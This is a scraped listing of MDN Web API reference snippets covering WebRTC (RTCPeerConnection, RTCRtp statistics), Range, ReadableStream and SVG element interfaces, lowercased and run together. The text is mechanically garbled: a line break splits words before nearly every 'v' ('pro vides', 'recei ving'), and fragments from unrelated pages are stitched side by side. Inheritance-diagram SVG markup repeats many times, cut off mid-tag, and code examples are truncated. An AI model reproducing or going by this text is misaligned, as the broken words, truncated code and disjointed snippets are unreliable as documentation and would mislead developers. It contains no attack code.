videostream = stream; pc.addstream(stream); } document.getelementbyid("closebutton").addeventlistener("click", function(event) { pc.removestream(
videostream); pc.close(); }, false); ...
RTCPeerConnection.sctp - Web APIs
the sctp transport is used for transmitting and recei
ving data for any and all rtcdatachannels on the peer connection.
... syntax var sctp = rtcpeerconnection.sctp; value a rtcsctptransport object describing the sctp transport being used by the rtcpeerconnection for transmitting and recei
ving on its data channels, or null if sctp negotiation hasn't happened.
RTCPeerConnection.signalingState - Web APIs
this pro
visional answer describes the supported media formats and so forth, but may not have a complete set of ice candidates included.
... "have-remote-pranswer" a pro
visional answer has been received and successfully applied in response to an offer pre
viously sent and established by calling setlocaldescription().
RTCPeerConnection: track event - Web APIs
pc = new rtcpeerconnection({ iceservers: [ { urls: "turn:fake.turnserver.url", username: "someusername", credential: "somepassword" } ] }); pc.addeventlistener("track", e => {
videoelement.srcobject = e.streams[0]; hangupbutton.disabled = false; }, false); the event handler assigns the new track's first stream to an existing <
video> element, identified using the variable
videoelement.
... pc.ontrack = e => {
videoelement.srcobject = e.streams[0]; hangupbutton.disabled = false; return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification.
RTCPeerConnectionIceErrorEvent.address - Web APIs
this address identifies the network interface on the local de
vice which is being used to attempt to establish the connection to the remote peer.
... this can be useful on multi-homed systems—de
vices with more than one network connection—to determine which network interface is being used.
RTCPeerConnection: idpvalidationerror event - Web APIs
an idpvalidationerror event informs the target, a rtcpeerconnection object, that the identity pro
vider (idp) encountered an error when trying to validate an identity assertion.
... an event handler for this event can be added
via the rtcpeerconnection.onidpvalidationerror property.
RTCRemoteOutboundRtpStreamStats.reportsSent - Web APIs
the rtcremoteoutboundrtpstreamstats dictionary's reportssent property pro
vides the number of sender reports (srs) the remote peer has transmitted to the local peer.
... usage notes sender reports, described in rfc 3550, section 6.4.1 with an over
view in rfc 3550, section 6.4, are used by rtp to share data transmission quality feedback between the two peers.
RTCRemoteOutboundRtpStreamStats - Web APIs
remotetimestamp a domhighrestimestamp specifying the timestamp (on the remote de
vice) at which the statistics in the rtcremoteoutboundrtpstreamstats object were sent by the remote endpoint.
... usage notes the rtcremoteoutboundrtpstreamstats object's remotetimestamp proeprty pro
vides statistics based on the received data's ntp timestamp taken from an rtcp sender report (sr) block.
RTCRtpCodecParameters - Web APIs
references to relevant iana documents are pro
vided in the see also section at the end of this article.
... note: on an rtcrtpreceiver, the format-specific parameters come from the sdp sent by the remote peer, while for rtcrtpsender, they're pro
vided by the local description.
RTCRtpContributingSource - Web APIs
the rtcrtpcontributingsource dictionary of the the webrtc api is used by getcontributingsources() to pro
vide information about a given contributing source (csrc), including the most recent time a packet that the source contributed was played out.
... the information pro
vided is based on the last ten seconds of media received.
RTCRtpReceiver.getSynchronizationSources() - Web APIs
each instance describes one of the synchronization sources that pro
vided data to the incoming stream in the past ten seconds.
... the synchronization source objects add a voiceacti
vityflag property, which indicates if the last rtp packet received contained voice acti
vity.
RTCRtpReceiver.track - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettrackchrome full support 59edge full support 12firefox full support yesie no support noopera full support ...
... 46safari full support yesweb
view android full support 59chrome android full support 59firefox android full support yesopera android full support 43safari ios full support yessamsung internet android full support 7.0legend full support full support no support no support ...
RTCRtpReceiver.transport - Web APIs
the read-only transport property of an rtcrtpreceiver object pro
vides the rtcdtlstransport object used to interact with the underlying transport over which the receiver is exchanging real-time transport control protocol (rtcp) packets.
... this transport is responsible for recei
ving the data for the media on the receiver's track.
RTCRtpSender.transport - Web APIs
the read-only transport property of an rtcrtpsender object pro
vides the rtcdtlstransport object used to interact with the underlying transport over which the sender is exchanging real-time transport control protocol (rtcp) packets.
... this transport is responsible for recei
ving the data for the media on the sender's track.
RTCRtpStreamStats.firCount - Web APIs
this value is available only on receivers for
video tracks.
... the higher fircount is, the more often frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the recei
ving de
vice is overburdened and is therefore unable to process the incoming data.
RTCRtpStreamStats.trackId - Web APIs
the rtcrtpstreamstats dictionary's trackid property is a string which uniquely identifies the rtcmediastreamtrackstats object which contains the track statistics for the mediastreamtrack for which statistics are pro
vided in this object.
... syntax var trackid = rtcrtpstreamstats.trackid; value a domstring which uniquely identifies the rtcmediastreamtrackstats object that pro
vides statistics for the track for which statistics are being collected by this rtcstatsreport.
RTCRtpTransceiver.receiver - Web APIs
the read-only receiver property of webrtc's rtcrtptransceiver interface indicates the rtcrtpreceiver responsible for recei
ving and decoding incoming media data for the transceiver's stream.
... syntax var rtpreceiver = rtcrtptransceiver.receiver; value an rtcrtpreceiver object which is responsible for recei
ving and decoding incoming media data whose media id is the same as the current value of mid.
RTCRtpTransceiver.setCodecPreferences() - Web APIs
syntax rtcrtptransceiver.setcodecpreferences(codecs) parameters codecs an array of rtcrtpcodeccapability objects, in order of preference, each pro
viding the parameters for one of the transceiver's supported codecs.
... var availsendcodecs = transceiver.sender.getcapabilities("
video").codecs; var availreceivecodecs = transceiver.receiver.getcapabilities("
video").codecs; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.setcodecpreferences()' in that specification.
RTCRtpTransceiver.stop() - Web APIs
note: until recently, the stopped property was pro
vided to return true if the connection is stopped.
...the receiver then stops recei
ving media; the receiver's track is stopped, and the transceiver's direction is changed to stopped, and renegotiation is triggered by sending a negotiationneeded event to the rtcpeerconnection.
RTCSctpTransport - Web APIs
the rtcsctptransport interface pro
vides information which describes a stream control transmission protocol (sctp) transport.
... this pro
vides information about limitations of the transport, but also pro
vides a way to access the underlying datagram transport layer security (dtls) transport over which sctp packets for all of an rtcpeerconnection's data channels are sent and received.
RTCSessionDescription.type - Web APIs
"pranswer", the description is a pro
visional answer and may be changed when the definitive choice will be given.
... example // the remote description has been set pre
viously on pc, a rtcpeerconnection alert(pc.remotedescription.type); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription.type' in that specification.
RTCSessionDescription - Web APIs
pranswer the session description object describes a pro
visional answer; that is, a response to a pre
vious offer that is not the final answer.
... rollback this special type with an empty session description is used to roll back to the pre
vious stable state.
RTCStats.id - Web APIs
the id property of the rtcstats dictionary is a string which uniquely identifies the object for which this rtcstats object pro
vides statistics.
... syntax var id = rtcstats.id; value a domstring which uniquely identifies the object for which this rtcstats-based object pro
vides statistics.
RTCStats - Web APIs
the rtcstats dictionary is the basic statistics object used by webrtc's statistics monitoring model, pro
viding the properties required of all statistics data objects.
... rtcstats is the foundation of all webrtc statistics objects rtcrtpstreamstats adds to rtcstats information that applies to all rtp endpoints (that is, both local and remote endpoints, and regardless of whether the endpoint is a sender or a receiver) rtcreceivedrtpstreamstats further adds statistics measured at the recei
ving end of an rtp stream, regardless of whether it's local or remote.
RTCTrackEventInit.streams - Web APIs
the rtctrackeventinit dictionary's optional streams property pro
vides an array containing a mediastream object for each of the streams associated with the event's track.
... syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [
videostream], transceiver: rtptransceiver }; var streamlist = trackeventinit.streams; value an array of mediastream objects, one for each stream which make up the track.
Range.commonAncestorContainer - Web APIs
html <ul> <li>strings <ul> <li>cello</li> <li>
violin <ul> <li>first chair</li> <li>second chair</li> </ul> </li> </ul> </li> <li>woodwinds <ul> <li>clarinet</li> <li>oboe</li> </ul> </li> </ul> css the .highlight class created below uses a set of css @keyframes to animate a fading outline.
... li
ving standard no change.
Range.extractContents() - Web APIs
syntax documentfragment = range.extractcontents(); example basic example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); var documentfragment = range.extractcontents(); document.body.appendchild(documentfragment); mo
ving items between containers this example lets you move items between two containers.
... li
ving standard no change.
Range.getBoundingClientRect() - Web APIs
this method is useful for determining the
viewport coordinates of the cursor or selection inside a text box.
...; const clientrect = range.getboundingclientrect(); const highlight = document.getelementbyid('highlight'); highlight.style.left = `${clientrect.x}px`; highlight.style.top = `${clientrect.y}px`; highlight.style.width = `${clientrect.width}px`; highlight.style.height = `${clientrect.height}px`; result specification specification status comment css object model (cssom)
view modulethe definition of 'range.getboundingclientrect()' in that specification.
Range - Web APIs
li
ving standard do not use rangeexception anymore, use domexception instead.
... css object model (cssom)
view modulethe definition of 'extensions to range' in that specification.
ReadableStream.pipeTo() - Web APIs
signal: if set to an abortsignal object, ongoing pipe operations can then be aborted
via the corresponding abortcontroller.
... li
ving standard initial definition.
ReadableStreamBYOBReader.cancel() - Web APIs
syntax var promise = readablestreambyobreader.cancel(reason); parameters reason a domstring pro
viding a human-readable reason for the cancellation.
... li
ving standard initial definition.
ReadableStreamBYOBReader - Web APIs
readablestreambyobreader.read() returns a promise pro
viding access to the next chunk in the stream's internal queue.
... li
ving standard initial definition ...
ReadableStreamDefaultController.desiredSize - Web APIs
examples the a readable stream with an underlying push source and backpressure support example in the spec pro
vides a good example of using desiredsize to manually detect when the stream is full and apply backpressure, and also of using readablestreamdefaultcontroller.error() to manually trigger a stream error if another part of the system it relies on fails.
... li
ving standard initial definition.
ReadableStreamDefaultController.error() - Web APIs
examples the a readable stream with an underlying push source and backpressure support example in the spec pro
vides a good example of using readablestreamdefaultcontroller.desiredsize to manually detect when the stream is full and apply backpressure, and also of using error() to manually trigger a stream error if another part of the system it relies on fails.
... li
ving standard initial definition.
RenderingContext - Web APIs
specifications specification status comment html li
ving standardthe definition of 'renderingcontext' in that specification.
... li
ving standard initial definition.
ReportingObserver() - Web APIs
via reportingobserver.observe()).
...available types include deprecation, intervention, and crash (although this last type usually isn't retrievable
via a reportingobserver).
Request.cache - Web APIs
cached redirects will be followed if the request's redirect property is "follow" and the redirects do not
violate the "same-origin" mode.
... li
ving standard initial definition ...
ResizeObserverEntry.contentBoxSize - Web APIs
this example includes a green box, sized as a percentage of the
viewport size.
... when the
viewport size is changed, the box's rounded corners change in proportion to the size of the box.
ResizeObserverEntry.target - Web APIs
this example includes a green box, sized as a percentage of the
viewport size.
... when the
viewport size is changed, the box's rounded corners change in proportion to the size of the box.
Response.error() - Web APIs
note: this is mainly relevant to ser
viceworkers; the error method is used to return an error if you so wish it.
... li
ving standard ...
Response.useFinalURL - Web APIs
this property applies only to ser
viceworkers.
... example consider a script residing in page index.html: fetch('/test').then((r) => console.log(r.url)) test.html is being controlled by the ser
vice worker sw.js: onfetch = (e) => { e.respondwith(fetch('/page2').then((r) => { r.usefinalurl = true; return r; }) } the output will be /page2 and not /test in index.html, since setting the usefinalurl means that the response's url is not set to request's url.
SVGAElement.target - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettargetchrome full support yesedge full support 12firefox full support yesie full support 9opera full support ...
... yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support ...
SVGAnimatedString.animVal - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanimvalchrome full support yesedge full support 12firefox full support yesie no support noopera full support ...
... yessafari full support yesweb
view android full support yeschrome android no support nofirefox android full support yesopera android full support yessafari ios full support yessamsung internet android no support nolegend full support full support no support no support ...
SVGAnimatedString.baseVal - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbasevalchrome full support yesedge full support 12firefox full support yesie no support noopera full support ...
... yessafari full support yesweb
view android full support yeschrome android no support nofirefox android full support yesopera android full support yessafari ios full support yessamsung internet android no support nolegend full support full support no support no support ...
SVGClipPathElement - Web APIs
the svgclippathelement interface pro
vides access to the properties of <clippath> elements, as well as methods to manipulate them.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
SVGComponentTransferFunctionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 ...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement.
SVGCursorElement - Web APIs
the svgcursorelement interface pro
vides access to the properties of <cursor> elements, as well as methods to manipulate them.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
SVGEllipseElement - Web APIs
the svgellipseelement interface pro
vides access to the properties of <ellipse> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
SVGFEBlendElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and implements methods of svgfilterprimitivestandardattributes.
SVGFEColorMatrixElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement , and also implements methods of svgfilterprimitivestandardattributes.
SVGFEComponentTransferElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="no...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and implements methods of svgfilterprimitivestandardattributes.
SVGFECompositeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="1...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFEDiffuseLightingElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFEDisplacementMapElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFEDistantLightElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement.
SVGFEImageElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and implements methods of svgfilterprimitivestandardattributesand svgurireference.
SVGFEMergeNodeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="1...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement.
SVGFEMorphologyElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1=...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFEOffsetElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFEPointLightElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1=...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement.
SVGFESpecularLightingElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFESpotLightElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="1...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement.
SVGFETileElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFETurbulenceElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1=...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFilterElement - Web APIs
the svgfilterelement interface pro
vides access to the properties of <filter> elements, as well as methods to manipulate them.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
SVGFilterPrimitiveStandardAttributes - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfilterprimitivestandardattributes" target="_top"><rect x="1" y="1" width="360" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfilterprimitivestan...
... methods this interface does not pro
vide any specific methods.
SVGFontElement - Web APIs
object-oriented access to the attributes of the <font> element
via the svg dom is not possible.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent,...
SVGFontFaceElement - Web APIs
object-oriented access to the attributes of the <font-face> element
via the svg dom is not possible.
